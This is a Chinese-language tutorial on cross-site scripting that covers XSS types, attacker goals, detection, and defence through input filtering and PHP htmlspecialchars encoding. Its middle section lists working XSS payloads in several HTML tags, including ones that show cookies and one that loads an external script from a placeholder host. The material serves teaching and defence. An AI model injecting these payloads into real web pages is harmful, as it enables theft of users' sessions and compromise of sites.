xss原理
xss跨站脚本攻击,攻击者通过往web页面里插入恶意的script代码,当用户浏览页面时,嵌入web页面里的script代码就会被执行,从而达到攻击的目的。xss攻击是针对用户层面的。
xss分类
- 存储型xss:存储型xss,持久化代码是存储在服务器中的
- 反射型xss:非持久化,需要欺骗用户自己去点击链接才能触发xss代码,一般容易出现在搜索界面。反射型xss大多数是用来盗取用户的cookie信息
- DOM型xss:不经过后端,DOM-XSS漏洞基于文档对象模型的一种漏洞。是通过url传入参数去控制触发的。其实也属于反射型xss。
XSS能做什么
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
检测XSS
<script>alert(1)</script>
XSS的常用语句,刷新之后若有弹窗,说明存在XSS。
XSS攻击载荷
script标签
<script>alert("hello")</script> #弹出hello
<script>alert(/hello/)</script> #弹出hello
<script>alert(1)</script> #弹出1,数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com.sxx.js></script> #引用外部xss
svg标签
<svg onload=alert(1)>
<svg onload=alert(1)// #所有的标签>都可以用//替换
img标签
<img src=1 onerror=alert("hello")>
<img src=1 onerror=alert(document.cookie)>
body标签
<body onload=alert("hello")>
<body onpageshow=alert(1)>
video标签
<video onloadstart=alert(1) src="/xx/xx"/>
style标签
<style onload=alert(1)></style>
XSS的防御
对用户的输入(和URL参数)进行过滤
,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码
,使脚本无法在浏览器中执行。
对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。
{/tabs-pane}
如下,是使用php中的htmlspecialchars
函数对用户输入的name参数进行html编码,将其转换为html实体
使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
评论 (0)